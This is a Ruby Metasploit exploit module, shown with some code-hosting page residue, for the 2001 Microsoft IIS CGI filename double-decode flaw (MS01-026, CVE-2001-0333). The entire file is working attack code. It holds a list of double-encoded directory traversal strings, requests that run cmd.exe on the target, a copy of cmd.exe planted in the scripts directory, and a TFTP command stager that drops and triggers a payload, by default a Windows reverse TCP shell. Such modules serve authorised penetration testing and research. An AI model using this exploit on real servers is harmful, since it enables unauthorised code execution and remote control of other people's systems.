209 lines
6.2 KiB
Ruby
209 lines
6.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
|
|
'Description' => %q{
|
|
This module will execute an arbitrary payload on a Microsoft IIS installation
|
|
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
|
|
|
This module has been tested successfully on:
|
|
|
|
Windows 2000 Professional (SP0) (EN);
|
|
Windows 2000 Professional (SP1) (AR);
|
|
Windows 2000 Professional (SP1) (CZ);
|
|
Windows 2000 Server (SP0) (FR);
|
|
Windows 2000 Server (SP1) (EN); and
|
|
Windows 2000 Server (SP1) (SE).
|
|
|
|
Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2001-0333' ],
|
|
[ 'OSVDB', '556' ],
|
|
[ 'BID', '2708' ],
|
|
[ 'MSB', 'MS01-026' ],
|
|
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
[
|
|
'Windows (Dropper)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
|
|
'Type' => :win_dropper
|
|
}
|
|
],
|
|
[
|
|
'Windows (Command)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
|
|
'Type' => :win_command
|
|
}
|
|
]
|
|
],
|
|
'CmdStagerFlavor' => 'tftp',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2001-05-15'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
|
|
OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
|
|
]
|
|
)
|
|
|
|
self.needs_cleanup = true
|
|
end
|
|
|
|
def dotdotslash
|
|
[
|
|
'..%255c',
|
|
'..%%35c',
|
|
'..%%35%63',
|
|
'..%25%35%63',
|
|
'.%252e/',
|
|
'%252e./',
|
|
'%%32%65./',
|
|
'.%%32%65/',
|
|
'.%25%32%65/',
|
|
'%25%32%65./'
|
|
].sample
|
|
end
|
|
|
|
# Detect the correct Windows directory name.
|
|
# Unfortunately, the IIS scripts directory must
|
|
# be located on the same drive as %SystemRoot%.
|
|
def detect_windows_directory
|
|
win_dirs = %w[winnt windows]
|
|
matches = [
|
|
'Directory of',
|
|
'\\inetpub\\',
|
|
"\\scripts\r\n"
|
|
]
|
|
|
|
win_dirs.each do |dir|
|
|
res = execute_command('dir', windir: dir)
|
|
next unless res
|
|
next unless res.code == 200
|
|
next unless res.body
|
|
|
|
matches.each do |m|
|
|
return dir if res.body.to_s.include?(m)
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def check
|
|
win_dir = detect_windows_directory
|
|
win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
# Don't run the start command...
|
|
# We'll execute the payload via IIS later.
|
|
# Using the "start" method doesn't seem to make IIS very happy :(
|
|
return if cmd.start_with?('start') && cmd.include?('.exe')
|
|
|
|
vprint_status("Executing command: #{cmd}")
|
|
if opts[:cgifname]
|
|
cmd_path = opts[:cgifname]
|
|
else
|
|
cmd_path = ''
|
|
datastore['DEPTH'].times { cmd_path << dotdotslash }
|
|
cmd_path << (opts[:windir] || @win_dir)
|
|
cmd_path << '/system32/cmd.exe'
|
|
end
|
|
uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
|
|
send_request_cgi({ 'uri' => uri }, 20)
|
|
end
|
|
|
|
def copy_cmd_exe_to_scripts_directory
|
|
fname = "#{rand_text_alphanumeric(4..7)}.exe"
|
|
print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
|
|
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
|
|
fail_with(Failure::Unknown, 'No reply from server') unless res
|
|
fname
|
|
end
|
|
|
|
def exploit
|
|
@win_dir = datastore['WINDIR'] || detect_windows_directory
|
|
|
|
fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir
|
|
|
|
print_status("Using Windows directory \"#{@win_dir}\"")
|
|
|
|
@cmd_exe_fname = copy_cmd_exe_to_scripts_directory
|
|
|
|
case target['Type']
|
|
when :win_command
|
|
res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)
|
|
|
|
if res && res.body
|
|
cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
|
|
if cmd_res.strip.blank?
|
|
print_status('Command returned no output')
|
|
else
|
|
print_good('Command output:')
|
|
print_line(cmd_res)
|
|
end
|
|
else
|
|
print_error('No reply')
|
|
end
|
|
when :win_dropper
|
|
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
|
execute_cmdstager(
|
|
temp: '.',
|
|
linemax: 1_400,
|
|
cgifname: @cmd_exe_fname,
|
|
tftphost: tftphost,
|
|
# Force noconcat so we can skip the "start" command in execute_command method
|
|
noconcat: true,
|
|
# We can't delete the payload while it is running, so don't try
|
|
nodelete: true
|
|
)
|
|
|
|
exe_payload = stager_instance.payload_exe
|
|
register_file_for_cleanup(exe_payload)
|
|
|
|
print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
|
|
send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
|
|
end
|
|
end
|
|
|
|
# Remove the copied cmd.exe from the IIS scripts directory
|
|
def cleanup
|
|
execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
|
|
ensure
|
|
super
|
|
end
|
|
end
|